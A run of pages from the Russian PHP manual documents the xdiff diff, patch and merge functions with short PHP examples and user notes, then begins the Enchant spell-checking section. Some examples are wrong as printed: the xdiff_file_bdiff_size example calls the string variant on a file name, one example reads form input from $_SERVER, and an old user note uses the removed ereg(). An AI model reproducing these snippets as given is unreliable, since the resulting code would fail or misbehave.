  • xdiff_string_bpatch — Применение бинарного патча к строке
  • xdiff_string_diff_binary — Псевдоним xdiff_string_bdiff
  • xdiff_string_diff — Создать обычный патч для двух строк
  • xdiff_string_merge3 — Объединить три строки в одну
  • xdiff_string_patch_binary — Псевдоним xdiff_string_bpatch
  • xdiff_string_patch — Применить обычный патч к строке
  • xdiff_string_rabdiff — Сравнить две строки и создать бинарный патч используя полиноминальный алгоритм Rabin fingerprint

User Contributed Notes

amir.laher 05-Apr-2005 02:09
the xdiff functions require your initial string to end with a \n character.

When you use xdiff_string_diff, the initial string must either be zero-length or end with \n
eg. $patch= xdiff_string_diff($string,$string2);

if not, the patch will return an empty string.
xdiff_string_patch($string,$patch);

This will not normally affect xdiff_file_diff, but it's annoying nevertheless. To prevent this unexpected effect, I append a \n to the string before applying the initial diff, as follows.
if (!ereg("\n$",$string)) $string.="\n";


Получить размер файла после применения бинарного патча

  • « Функции xdiff
  • xdiff_file_bdiff »
  • PHP Manual
  • Функции xdiff
  • Получить размер файла после применения бинарного патча

xdiff_file_bdiff_size

(PECL xdiff >= 1.5.0)

xdiff_file_bdiff_size — Получить размер файла после применения бинарного патча

Описание

xdiff_file_bdiff_size(string $file): int

Возвращает размер файла, который будет создан после применения бинарного патча из файла file.

Список параметров

file

Путь к бинарному патчу, созданному функциями xdiff_string_bdiff() или xdiff_string_rabdiff().

Возвращаемые значения

Возвращает размер файла, который будет создан.

Примеры

Пример #1 Пример использования xdiff_file_bdiff_size()

Следующий код получает размер файла, который будет создан после применения патча.

<?php
$length = xdiff_string_bdiff_size('file.bdiff');
echo "Размер результирующего файла будет $length байт";
?>

Смотрите также

  • xdiff_file_bdiff() - Создать бинарный патч сравнивая два файла
  • xdiff_file_rabdiff() - Создать бинарный патч сравнивая два файла с помощью полиноминального алгоритма Rabin fingerprinting
  • xdiff_file_bpatch() - Применить бинарный патч к файлу

User Contributed Notes

There are no user contributed notes for this page.


Создать бинарный патч сравнивая два файла

  • « xdiff_file_bdiff_size
  • xdiff_file_bpatch »
  • PHP Manual
  • Функции xdiff
  • Создать бинарный патч сравнивая два файла

xdiff_file_bdiff

(PECL xdiff >= 1.5.0)

xdiff_file_bdiff — Создать бинарный патч сравнивая два файла

Описание

xdiff_file_bdiff(string $old_file, string $new_file, string $dest): bool

Создаёт файл бинарного патча сравнивая два файла. Эта функция работает как с бинарными, так и с текстовыми файлами. В дальнейшем, полученный патч можно применить с помощью функций xdiff_file_bpatch()/xdiff_string_bpatch().

Список параметров

old_file

Путь к первому, "старому" файлу.

new_file

Путь ко второму, "новому" файлу.

dest

Путь результирующего файла патча. Он будет содержать различия между старым и новым файлом в бинарном, человеконечитаемом формате.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования xdiff_file_bdiff()

Следующий код создаёт бинарный патч.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_bdiff($old_version, $new_version, 'my_script.bdiff');
?>

Примечания

Замечание:

Оба файла будут загружены в память, так что убедитесь, что параметр memory_limit настроен корректно.

Смотрите также

  • xdiff_file_bpatch() - Применить бинарный патч к файлу

User Contributed Notes

There are no user contributed notes for this page.


Применить бинарный патч к файлу

  • « xdiff_file_bdiff
  • xdiff_file_diff_binary »
  • PHP Manual
  • Функции xdiff
  • Применить бинарный патч к файлу

xdiff_file_bpatch

(PECL xdiff >= 1.5.0)

xdiff_file_bpatch — Применить бинарный патч к файлу

Описание

xdiff_file_bpatch(string $file, string $patch, string $dest): bool

Применить к файлу file патч patch и записать результат в файл dest. Эта функция принимает патчи, созданные как xdiff_file_bdiff() так и xdiff_file_rabdiff() или же их копии.

Список параметров

file

Оригинальный файл.

patch

Файл бинарного патча.

dest

Итоговый файл.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования xdiff_file_bpatch()

В следующем коде показано применение бинарного патча к файлу.

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_bpatch($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
echo "Файл пропатчен";
} else {
echo "Файл не может быть пропатчен";
}

?>

Примечания

Замечание:

Оба файла (file и patch) будут загружены в память, так что убедитесь, что параметр memory_limit настроен корректно.

Смотрите также

  • xdiff_file_bdiff() - Создать бинарный патч сравнивая два файла
  • xdiff_file_rabdiff() - Создать бинарный патч сравнивая два файла с помощью полиноминального алгоритма Rabin fingerprinting

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним xdiff_file_bdiff

  • « xdiff_file_bpatch
  • xdiff_file_diff »
  • PHP Manual
  • Функции xdiff
  • Псевдоним xdiff_file_bdiff

xdiff_file_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_file_diff_binary — Псевдоним xdiff_file_bdiff()

Описание

xdiff_file_diff_binary(string $old_file, string $new_file, string $dest): bool

Создаёт файл бинарного патча сравнивая два файла. Эта функция работает, как с бинарными, так и с текстовыми файлами. В дальнейшем, полученный патч можно применить с помощью функций xdiff_file_bpatch().

Начиная с версии 1.5.0, эта функция является псевдонимом xdiff_file_bdiff().

Список параметров

old_file

Путь к первому, "старому" файлу.

new_file

Путь ко второму, "новому" файлу.

dest

Путь результирующего файла патча. Он будет содержать различия между старым и новым файлом в бинарном, человеконечитаемом.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Апмсер использования xdiff_file_diff_binary()

Следующий код создаёт бинарный патч сравнивая два архива.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_diff_binary($old_version, $new_version, 'my_script.bdiff');
?>

Примечания

Замечание:

Оба файла будут загружены в память, так что убедитесь, что параметр memory_limit настроен корректно.

Смотрите также

  • xdiff_file_bdiff() - Создать бинарный патч сравнивая два файла
  • xdiff_file_bpatch() - Применить бинарный патч к файлу

User Contributed Notes

There are no user contributed notes for this page.


Создать унифицированный патч из сравнения двух файлов

  • « xdiff_file_diff_binary
  • xdiff_file_merge3 »
  • PHP Manual
  • Функции xdiff
  • Создать унифицированный патч из сравнения двух файлов

xdiff_file_diff

(PECL xdiff >= 0.2.0)

xdiff_file_diff — Создать унифицированный патч из сравнения двух файлов

Описание

xdiff_file_diff(
string $old_file,
string $new_file,
string $dest,
int $context = 3,
bool $minimal = false
): bool

Создаёт унифицированный патч, содержащий различия двух файлов old_file и new_file и сохраняет его в файл dest. Результат человекочитаемый. Необязательный параметр context указывает, сколько строк контекста должно быть добавлено вокруг каждой изменённой строки. Задание параметра minimal равным true приведёт к созданию максимально короткого патча, что может занять много времени.

Список параметров

old_file

Путь к первому, "старому" файлу.

new_file

Путь ко второму, "новому" файлу.

dest

Путь к файлу патча.

context

Указывает, сколько строк контекста необходимо включить в патч.

minimal

Установите равным true, чтобы минимизировать размер патча. Может занять продолжительное время.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования xdiff_file_diff()

В следующем примере создаётся унифицированный патч двух скриптов php с величиной контекста 2.

<?php
$old_version = 'my_script.php';
$new_version = 'my_new_script.php';

xdiff_file_diff($old_version, $new_version, 'my_script.diff', 2);
?>

Примечания

Замечание:

С бинарными данными эта функция работает плохо. Для бинарных патчей используйте xdiff_file_bdiff()/xdiff_file_rabdiff().

Смотрите также

  • xdiff_file_patch() - Применение унифицированного патча к файлу

User Contributed Notes

There are no user contributed notes for this page.


Объединение трёх файлов в один

  • « xdiff_file_diff
  • xdiff_file_patch_binary »
  • PHP Manual
  • Функции xdiff
  • Объединение трёх файлов в один

xdiff_file_merge3

(PECL xdiff >= 0.2.0)

xdiff_file_merge3 — Объединение трёх файлов в один

Описание

xdiff_file_merge3(
string $old_file,
string $new_file1,
string $new_file2,
string $dest
): mixed

Объединяет три файла в один и сохраняет результат в dest. Файл old_file является оригинальным файлом, тогда как new_file1 и new_file2 его модифицированными версиями.

Список параметров

old_file

Путь к первому, "старому" файлу.

new_file1

Путь ко второму файлу. Модифицированной версии old_file.

new_file2

Путь к третьему файлу. Модифицированной версии old_file.

dest

Путь к результирующему файлу, который будет содержать объединённые изменения из new_file1 и new_file2.

Возвращаемые значения

Возвращает true, если объединение прошло успешно, строку с отклонёнными данными, если нет, и false в случае внутренней ошибки.

Примеры

Пример #1 Пример использования xdiff_file_merge3()

Следующий код объединяет три файла.

<?php
$old_version = 'original_script.php';
$fix1 = 'script_with_fix1.php';
$fix2 = 'script_with_fix2.php';

$errors = xdiff_file_merge3($old_version, $fix1, $fix2, 'fixed_script.php');
if (is_string($errors)) {
echo "Отклонены:\n";
echo $errors;
}
?>

Смотрите также

  • xdiff_string_merge3() - Объединить три строки в одну

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним xdiff_file_bpatch

  • « xdiff_file_merge3
  • xdiff_file_patch »
  • PHP Manual
  • Функции xdiff
  • Псевдоним xdiff_file_bpatch

xdiff_file_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_file_patch_binary — Псевдоним xdiff_file_bpatch()

Описание

xdiff_file_patch_binary(string $file, string $patch, string $dest): bool

Применить к файлу file патч patch и записать результат в файл dest. Эта функция принимает патчи созданные как xdiff_file_bdiff() так и xdiff_file_rabdiff() или же их копии.

Начиная с версии 1.5.0, эта функция является псевдонимом xdiff_file_bpatch().

Список параметров

file

Оригинальный файл.

patch

Файл бинарного патча.

dest

Итоговый файл.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования xdiff_file_patch_binary()

В следующем коде показано применение бинарного патча к файлу.

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_patch_binary($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
echo "Файл пропатчен";
} else {
echo "Файл не может быть пропатчен";
}

?>

Примечания

Замечание:

Оба файла (file и patch) будут загружены в память, так что убедитесь, что параметр memory_limit настроен корректно.

Смотрите также

  • xdiff_string_patch_binary() - Псевдоним xdiff_string_bpatch

User Contributed Notes

There are no user contributed notes for this page.


Применение унифицированного патча к файлу

  • « xdiff_file_patch_binary
  • xdiff_file_rabdiff »
  • PHP Manual
  • Функции xdiff
  • Применение унифицированного патча к файлу

xdiff_file_patch

(PECL xdiff >= 0.2.0)

xdiff_file_patch — Применение унифицированного патча к файлу

Описание

xdiff_file_patch(
string $file,
string $patch,
string $dest,
int $flags = DIFF_PATCH_NORMAL
): mixed

Применяет к файлу file патча patch и сохраняет результат в файл. patch должен быть унифицированным патчем, созданным функциями xdiff_file_diff()/xdiff_string_diff(). Необязательный параметр flags задаёт режим операции.

Список параметров

file

Оригинальный файл.

patch

Унифицированный патч. Его можно создать функциями xdiff_string_diff() и xdiff_file_diff(), либо другими совместимыми инструментами.

dest

Путь к результирующему файлу.

flags

Может быть XDIFF_PATCH_NORMAL (режим по умолчанию, нормальное создание патча) или XDIFF_PATCH_REVERSE (откат патча).

Начиная с версии 1.5.0 вы можете использовать побитовое ИЛИ для подключения флага XDIFF_PATCH_IGNORESPACE.

Возвращаемые значения

Возвращает true, если создание патча прошло успешно, строку с отклонёнными данными, если нет, и false в случае внутренней ошибки.

Примеры

Пример #1 Пример использования xdiff_file_patch()

Следующий код применяет унифицированный патч к файлу.

<?php
$old_version = 'my_script-1.0.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($old_version, $patch, 'my_script-1.1.php');
if (is_string($errors)) {
echo "Отклонены:\n";
echo $errors;
}

?>

Пример #2 Patch reversing example

Следующий код применяет откат патча к файлу.

<?php
$new_version = 'my_script-1.1.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($new_version, $patch, 'my_script-1.0.php', XDIFF_PATCH_REVERSE);
if (is_string($errors)) {
echo "Отклонены:\n";
echo $errors;
}

?>

Смотрите также

  • xdiff_file_diff() - Создать унифицированный патч из сравнения двух файлов

User Contributed Notes

There are no user contributed notes for this page.


Создать бинарный патч сравнивая два файла с помощью полиноминального алгоритма Rabin fingerprinting

  • « xdiff_file_patch
  • xdiff_string_bdiff_size »
  • PHP Manual
  • Функции xdiff
  • Создать бинарный патч сравнивая два файла с помощью полиноминального алгоритма Rabin fingerprinting

xdiff_file_rabdiff

(PECL xdiff >= 1.5.0)

xdiff_file_rabdiff — Создать бинарный патч сравнивая два файла с помощью полиноминального алгоритма Rabin fingerprinting

Описание

xdiff_file_rabdiff(string $old_file, string $new_file, string $dest): bool

Создаёт бинарный патч сравнивая два файла и сохраняет результат в файл. Эта функция отличается от xdiff_file_bdiff() используемым алгоритмом, который работает быстрее и производит патчи меньшего размера. Эта функция работает как с текстом, так и с бинарными данными. Патч впоследствии можно применить с помощью функций xdiff_file_bpatch()/xdiff_string_bpatch().

Более подробно разница алгоритмов объяснена на сайте » libxdiff.

Список параметров

old_file

Путь к первому, "старому" файлу.

new_file

Путь ко второму, "новому" файлу.

dest

Путь результирующего файла патча. Он будет содержать различия между старым и новым файлом в бинарном, человеконечитаемом формате.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования xdiff_file_rabdiff()

Следующий код сравнивает два архива и создаёт патч.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_rabdiff($old_version, $new_version, 'my_script.bdiff');
?>

Примечания

Замечание:

Оба файла будут загружены в память, так что убедитесь, что параметр memory_limit настроен корректно.

Смотрите также

  • xdiff_file_bpatch() - Применить бинарный патч к файлу

User Contributed Notes

There are no user contributed notes for this page.


Получить размер файла созданного после применения бинарного патча

  • « xdiff_file_rabdiff
  • xdiff_string_bdiff »
  • PHP Manual
  • Функции xdiff
  • Получить размер файла созданного после применения бинарного патча

xdiff_string_bdiff_size

(PECL xdiff >= 1.5.0)

xdiff_string_bdiff_size — Получить размер файла созданного после применения бинарного патча

Описание

xdiff_string_bdiff_size(string $patch): int

Возвращает размер файла, который будет создан после применения бинарного патча (patch) к оригинальному файлу.

Список параметров

patch

Бинарный патч, созданный функциями xdiff_string_bdiff() или xdiff_string_rabdiff().

Возвращаемые значения

Возвращает рассчитанный размер файла в байтах.

Примеры

Пример #1 Пример использования xdiff_string_bdiff_size()

В следующем коде производится подсчёт результирующего размера файла после применения бинарного патча.

<?php
$binary_patch = file_get_contents('file.bdiff');
$length = xdiff_string_bdiff_size($binary_patch);
echo "Результирующий файл будет занимать $length байт";
?>

Смотрите также

  • xdiff_string_bdiff() - Создать бинарный патч для двух строк
  • xdiff_string_rabdiff() - Сравнить две строки и создать бинарный патч используя полиноминальный алгоритм Rabin fingerprint
  • xdiff_string_bpatch() - Применение бинарного патча к строке

User Contributed Notes

There are no user contributed notes for this page.


Создать бинарный патч для двух строк

  • « xdiff_string_bdiff_size
  • xdiff_string_bpatch »
  • PHP Manual
  • Функции xdiff
  • Создать бинарный патч для двух строк

xdiff_string_bdiff

(PECL xdiff >= 1.5.0)

xdiff_string_bdiff — Создать бинарный патч для двух строк

Описание

xdiff_string_bdiff(string $old_data, string $new_data): string

Производит бинарное сравнение двух строк и возвращает патч. Эта функция работает как с текстом, там и с бинарными данными. Полученный патч впоследствии можно применить с помощью функций xdiff_string_bpatch() и xdiff_file_bpatch().

Список параметров

old_data

Первая строка с бинарными данными. Это будут "старые" данные.

new_data

Вторая строка с бинарными данными. Это будут "новые" данные.

Возвращаемые значения

Возвращает строку с бинарным патчем, содержащим разницу между "старыми" и "новыми" данными, либо false в случае возникновения ошибки.

Смотрите также

  • xdiff_string_bpatch() - Применение бинарного патча к строке

User Contributed Notes

There are no user contributed notes for this page.


Применение бинарного патча к строке

  • « xdiff_string_bdiff
  • xdiff_string_diff_binary »
  • PHP Manual
  • Функции xdiff
  • Применение бинарного патча к строке

xdiff_string_bpatch

(PECL xdiff >= 1.5.0)

xdiff_string_bpatch — Применение бинарного патча к строке

Описание

xdiff_string_bpatch(string $str, string $patch): string

Применяет к строке str бинарный патч patch. Эта функция принимает патчи созданные как xdiff_string_bdiff(), так и xdiff_string_rabdiff().

Список параметров

str

Оригинальная бинарная строка.

patch

Строка с бинарным патчем.

Возвращаемые значения

Возвращает изменённую строку, либо false в случае возникновения ошибки.

Смотрите также

  • xdiff_string_bdiff() - Создать бинарный патч для двух строк
  • xdiff_string_rabdiff() - Сравнить две строки и создать бинарный патч используя полиноминальный алгоритм Rabin fingerprint

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним xdiff_string_bdiff

  • « xdiff_string_bpatch
  • xdiff_string_diff »
  • PHP Manual
  • Функции xdiff
  • Псевдоним xdiff_string_bdiff

xdiff_string_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_string_diff_binary — Псевдоним xdiff_string_bdiff()

Описание

xdiff_string_bdiff(string $old_data, string $new_data): string

Производит бинарное сравнение двух строк и возвращает патч. Эта функция работает как с текстом, там и с бинарными данными. Полученный патч впоследствии можно применить с помощью функций xdiff_string_bpatch() и xdiff_file_bpatch().

Начиная с версии 1.5.0 является псевдонимом для xdiff_string_bdiff().

Список параметров

old_data

Первая строка с бинарными данными. Это будут "старые" данные.

new_data

Вторая строка с бинарными данными. Это будут "новые" данные.

Возвращаемые значения

Возвращает строку с бинарным патчем, содержащим разницу между "старыми" и "новыми" данными, либо false в случае возникновения ошибки.

Смотрите также

  • xdiff_string_bdiff() - Создать бинарный патч для двух строк
  • xdiff_string_bpatch() - Применение бинарного патча к строке

User Contributed Notes

There are no user contributed notes for this page.


Создать обычный патч для двух строк

  • « xdiff_string_diff_binary
  • xdiff_string_merge3 »
  • PHP Manual
  • Функции xdiff
  • Создать обычный патч для двух строк

xdiff_string_diff

(PECL xdiff >= 0.2.0)

xdiff_string_diff — Создать обычный патч для двух строк

Описание

xdiff_string_diff(
string $old_data,
string $new_data,
int $context = 3,
bool $minimal = false
): string

Создаёт патч для строк old_data и new_data. Итоговый патч человекочитаем. Опциональный параметр context указывает, сколько строк контекста должно быть добавлено в патч вокруг каждого различия. Установка параметра minimal в значение true позволит получить максимально короткий патч (может занять много времени).

Список параметров

old_data

Первая строка с данными. Это будут "старые" данные.

new_data

Вторая строка с данными. Это будут "новые" данные.

context

Количество строк контекста вокруг каждого изменения.

minimal

Если true, то будет создан максимально короткий патч (может занять много времени).

Возвращаемые значения

Возвращает строку с патчем, либо false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования xdiff_string_diff()

Следующий код выведет различия двух статей.

<?php
$old_article = file_get_contents('./old_article.txt');
$new_article = $_REQUEST['article']; /* Допустим кто-то отправил новую статью через html-форму */

$diff = xdiff_string_diff($old_article, $new_article, 1);
if (is_string($diff)) {
echo "Различия в двух статьях:\n";
echo $diff;
}

?>

Примечания

Замечание:

Эта функция не предназначена для работы с бинарными данными. Для бинарного сравнения используйте xdiff_string_bdiff() и xdiff_string_rabdiff().

Смотрите также

  • xdiff_string_patch() - Применить обычный патч к строке

User Contributed Notes

There are no user contributed notes for this page.


Объединить три строки в одну

  • « xdiff_string_diff
  • xdiff_string_patch_binary »
  • PHP Manual
  • Функции xdiff
  • Объединить три строки в одну

xdiff_string_merge3

(PECL xdiff >= 0.2.0)

xdiff_string_merge3 — Объединить три строки в одну

Описание

xdiff_string_merge3(
string $old_data,
string $new_data1,
string $new_data2,
string &$error = ?
): mixed

Объединяет три строки в одну и возвращает результат. В параметре old_data задаётся оригинальная строка, а в в new_data1 и new_data2 - её модифицированные версии. Опциональный параметр error используется для сохранения ошибок в процессе объединения.

Список параметров

old_data

Первая строка с данными. Это будут "старые" данные.

new_data1

Вторая строка с данными. Модифицированная версия old_data.

new_data2

Третья строка с данными. Модифицированная версия old_data.

error

Если задан, то сюда будут записываться возникшие ошибки.

Возвращаемые значения

Возвращает полученную строку, false в случае возникновения ошибки или true, если полученная строка пуста.

Смотрите также

  • xdiff_file_merge3() - Объединение трёх файлов в один

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним xdiff_string_bpatch

  • « xdiff_string_merge3
  • xdiff_string_patch »
  • PHP Manual
  • Функции xdiff
  • Псевдоним xdiff_string_bpatch

xdiff_string_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_string_patch_binary — Псевдоним xdiff_string_bpatch()

Описание

xdiff_string_patch_binary(string $str, string $patch): string

Применяет к строке str бинарный патч patch. Эта функция принимает патчи созданные как xdiff_string_bdiff(), так и xdiff_string_rabdiff().

Начиная с версии 1.5.0 является псевдонимом для xdiff_string_bpatch().

Список параметров

str

Оригинальная бинарная строка.

patch

Строка с бинарным патчем.

Возвращаемые значения

Возвращает изменённую строку, либо false в случае возникновения ошибки.

Смотрите также

  • xdiff_string_bpatch() - Применение бинарного патча к строке
  • xdiff_string_bdiff() - Создать бинарный патч для двух строк
  • xdiff_string_rabdiff() - Сравнить две строки и создать бинарный патч используя полиноминальный алгоритм Rabin fingerprint

User Contributed Notes

There are no user contributed notes for this page.


Применить обычный патч к строке

  • « xdiff_string_patch_binary
  • xdiff_string_rabdiff »
  • PHP Manual
  • Функции xdiff
  • Применить обычный патч к строке

xdiff_string_patch

(PECL xdiff >= 0.2.0)

xdiff_string_patch — Применить обычный патч к строке

Описание

xdiff_string_patch(
string $str,
string $patch,
int $flags = ?,
string &$error = ?
): string

Применяет к строке str обычный патч patch и возвращает результат. patch должен быть обычным патчем, созданным с помощью функций xdiff_file_diff() или xdiff_string_diff(). Опциональный параметр flags задаёт режим операции. Все отвергнутые части патча будут записаны в переменную error.

Список параметров

str

Оригинальная строка.

patch

Стандартный патч. Должен быть создан функциями xdiff_string_diff(), или xdiff_file_diff(), либо с помощью инструментов, создающих совместимые патчи.

flags

flags может быть XDIFF_PATCH_NORMAL (режим по умолчанию, нормальный патч) или XDIFF_PATCH_REVERSE (реверсивный патч).

Начиная с версии 1.5.0 можно использовать бинарное ИЛИ для добавления флага XDIFF_PATCH_IGNORESPACE.

error

Если задан, то в эту переменную будут записаны все отвергнутые части патча.

Возвращаемые значения

Возвращает строку, либо false в случае возникновения ошибке.

Примеры

Пример #1 Пример использования xdiff_string_patch()

Следующий код применяет патч к статье.

<?php
$old_article = file_get_contents('./old_article.txt');
$diff = $_SERVER['patch']; /* Допустим кто-то отправил патч через html-форму */

$errors = '';

$new_article = xdiff_string_patch($old_article, $diff, XDIFF_PATCH_NORMAL, $errors);
if (is_string($new_article)) {
echo "Новая статья:\n";
echo $new_article;
}

if (strlen($errors)) {
echo "Отклонены: \n";
echo $errors;
}

?>

Смотрите также

  • xdiff_string_diff() - Создать обычный патч для двух строк

User Contributed Notes

There are no user contributed notes for this page.


Сравнить две строки и создать бинарный патч используя полиноминальный алгоритм Rabin fingerprint

  • « xdiff_string_patch
  • Поддержка языков и кодировок »
  • PHP Manual
  • Функции xdiff
  • Сравнить две строки и создать бинарный патч используя полиноминальный алгоритм Rabin fingerprint

xdiff_string_rabdiff

(PECL xdiff >= 1.5.0)

xdiff_string_rabdiff — Сравнить две строки и создать бинарный патч используя полиноминальный алгоритм Rabin fingerprint

Описание

xdiff_string_bdiff(string $old_data, string $new_data): string

Создаёт бинарный патч для двух строк и возвращает результат. Разница между этой функцией и xdiff_string_bdiff() в используемом алгоритме, который работает быстрее и создаёт более короткий патч. Эта функция работает как с текстовыми, так и с бинарными данными. Полученный патч впоследствии можно применить с помощью функций xdiff_string_bpatch() и xdiff_file_bpatch().

Более подробно о различиях в алгоритмах читайте на сайте » libxdiff.

Список параметров

old_data

Первая строка с бинарными данными. Это будут "старые" данные.

new_data

Вторая строка с бинарными данными. Это будут "новые" данные.

Возвращаемые значения

Возвращает строку с бинарным патчем, содержащим разницу между "старыми" и "новыми" данными, либо false в случае возникновения ошибки.

Смотрите также

  • xdiff_string_bpatch() - Применение бинарного патча к строке

User Contributed Notes

There are no user contributed notes for this page.


Поддержка языков и кодировок

  • Enchant — Библиотека проверки правописания Enchant
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Enchant
    • EnchantBroker — Класс EnchantBroker
    • EnchantDictionary — Класс EnchantDictionary
  • Gender — Определение пола по имени
    • Введение
    • Установка и настройка
    • Примеры
    • Gender\Gender — Класс Gender\Gender
  • Gettext
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции gettext
  • iconv
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции iconv
  • intl — Функции интернационализации
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Collator — Класс Collator
    • NumberFormatter — The NumberFormatter class
    • Locale — Класс Locale
    • Normalizer — Класс Normalizer
    • MessageFormatter — Класс MessageFormatter
    • IntlCalendar — Класс IntlCalendar
    • IntlGregorianCalendar — Класс IntlGregorianCalendar
    • IntlTimeZone — Класс IntlTimeZone
    • IntlDateFormatter — Класс IntlDateFormatter
    • ResourceBundle — Класс ResourceBundle
    • Spoofchecker — Класс Spoofchecker
    • Transliterator — Класс Transliterator
    • IntlBreakIterator — Класс IntlBreakIterator
    • IntlRuleBasedBreakIterator — Класс IntlRuleBasedBreakIterator
    • IntlCodePointBreakIterator — Класс IntlCodePointBreakIterator
    • IntlDatePatternGenerator — Класс IntlDatePatternGenerator
    • IntlPartsIterator — Класс IntlPartsIterator
    • UConverter — Класс UConverter
    • Функции Grapheme
    • Функции IDN
    • IntlChar
    • IntlException — Класс исключений для ошибок intl
    • IntlIterator — Класс IntlIterator
    • Функции intl
  • Многобайтовые строки
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Краткий обзор поддерживаемых кодировок
    • Основы японских многобайтных кодировок
    • Ввод и вывод HTTP
    • Поддерживаемые кодировки символов
    • Механизм перегрузки функций
    • Требования, предъявляемые к кодировкам символов в PHP
    • Функции для работы с многобайтовыми строками
  • Pspell
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Pspell
    • PSpell\Dictionary — Класс PSpell\Dictionary
    • PSpell\Config — Класс PSpell\Config
  • Recode — GNU Recode
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Recode

User Contributed Notes

There are no user contributed notes for this page.


Библиотека проверки правописания Enchant

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции Enchant
    • enchant_broker_describe — Перечисляет провайдеров Enchant
    • enchant_broker_dict_exists — Проверяет, присутствует ли словарь или нет. Используется не пустой тег
    • enchant_broker_free_dict — Освобождает ресурс словаря
    • enchant_broker_free — Освобождает ресурс брокера и его словари
    • enchant_broker_get_dict_path — Возвращает путь словаря для заданного бэкенда
    • enchant_broker_get_error — Возвращает последнюю ошибку брокера
    • enchant_broker_init — Создать новый объект брокера
    • enchant_broker_list_dicts — Возвращает список доступных словарей
    • enchant_broker_request_dict — Создать новый словарь используя тег
    • enchant_broker_request_pwl_dict — Создать словарь используя файл PWL
    • enchant_broker_set_dict_path — Установить путь для заданного бэкенда
    • enchant_broker_set_ordering — Задать предпочтения по выбору словарей для языка
    • enchant_dict_add_to_personal — Добавить слово в список персональных слов
    • enchant_dict_add_to_session — Добавить слово в текущую сессию проверки
    • enchant_dict_add — Добавляет слово в личный словарь
    • enchant_dict_check — Проверяет, корректно ли задано слово
    • enchant_dict_describe — Возвращает информацию о словаре
    • enchant_dict_get_error — Возвращает последнюю ошибку текущей сессии проверки
    • enchant_dict_is_added — Определяет, существует ли слово в этой орфографической сессии
    • enchant_dict_is_in_session — Присутствует ли слово 'word' в сессии проверки
    • enchant_dict_quick_check — Проверить, правильно ли написано слово и предложить варианты замены
    • enchant_dict_store_replacement — Добавить исправление для слова
    • enchant_dict_suggest — Вернёт список возможных вариантов для слова с ошибкой
  • EnchantBroker — Класс EnchantBroker
  • EnchantDictionary — Класс EnchantDictionary

User Contributed Notes

pavel dot bazika at icewarp dot com 17-Jun-2013 12:34
As of PHP 5.4.13 and 5.3.23 it is still possible to override default enchant brokers directory using Windows registry key HKLM/Software/Enchant/Config/Module_Dir or Linux environment variable ENCHANT_CONFIG_DIR.
wschalle at gmail dot com 25-Apr-2013 08:40
As of PHP 5.4.13 and 5.3.23, enchant now requires the broker plugins (libenchant_ispell.dll, libenchant_myspell.dll) to be placed in the <PHP_DIR>/lib/enchant directory. If they are not in that directory, they will silently fail to load, and calls to enchant_broker_describe will return an empty array.


Введение

Модуль Enchant является представлением в » библиотеке Enchant. Enchant позволяет обеспечить единообразие и согласованность всех библиотек орфографии и реализовать определённые функции, которые могут отсутствовать в какой-либо отдельной библиотеке. Все и везде должно "просто работать", при любом определении "просто работающего".

Enchant поддерживает следующие бэкенды:

  • Aspell/Pspell (со временем заменят Ispell)

  • Ispell (древний, как помёт мамонта, но, по факту, является стандартом)

  • MySpell/Hunspell (проект OpenOffice.org, также используется Mozilla)

  • Uspell (В основном, идиш, иврит и восточноевропейские языки - размещается в CVS AbiWord в модуле "uspell")

  • Hspell (Иврит)

  • AppleSpell (Mac OSX)

User Contributed Notes

There are no user contributed notes for this page.


Требования

Эта версия использует функции » библиотеки Enchant library, написанной Dom Lachowicz. Вам необходим Enchant версии 1.2.4 или выше. Enchant 2.0.0 или новее поддерживается только с PHP 8.0.0.

Также требуется » Glib 2.6 или выше. Скомпилированные библиотеки для Windows доступны по ссылке » http://ftp.gnome.org/pub/gnome/binaries/win32/glib/.

User Contributed Notes

taubers at gmail dot com 29-Jan-2013 05:46
If you are using macport you may not have this installed. This can be rectified with: sudo port install php5-iconv


Установка

Если установлены необходимые библиотеки, то модуль можно установить с помощью опции --with-enchant[=dir] при компиляции PHP.

Пользователи Windows должны включить php_enchant.dll, чтобы использовать модуль.

Замечание: Дополнительная настройка в Windows

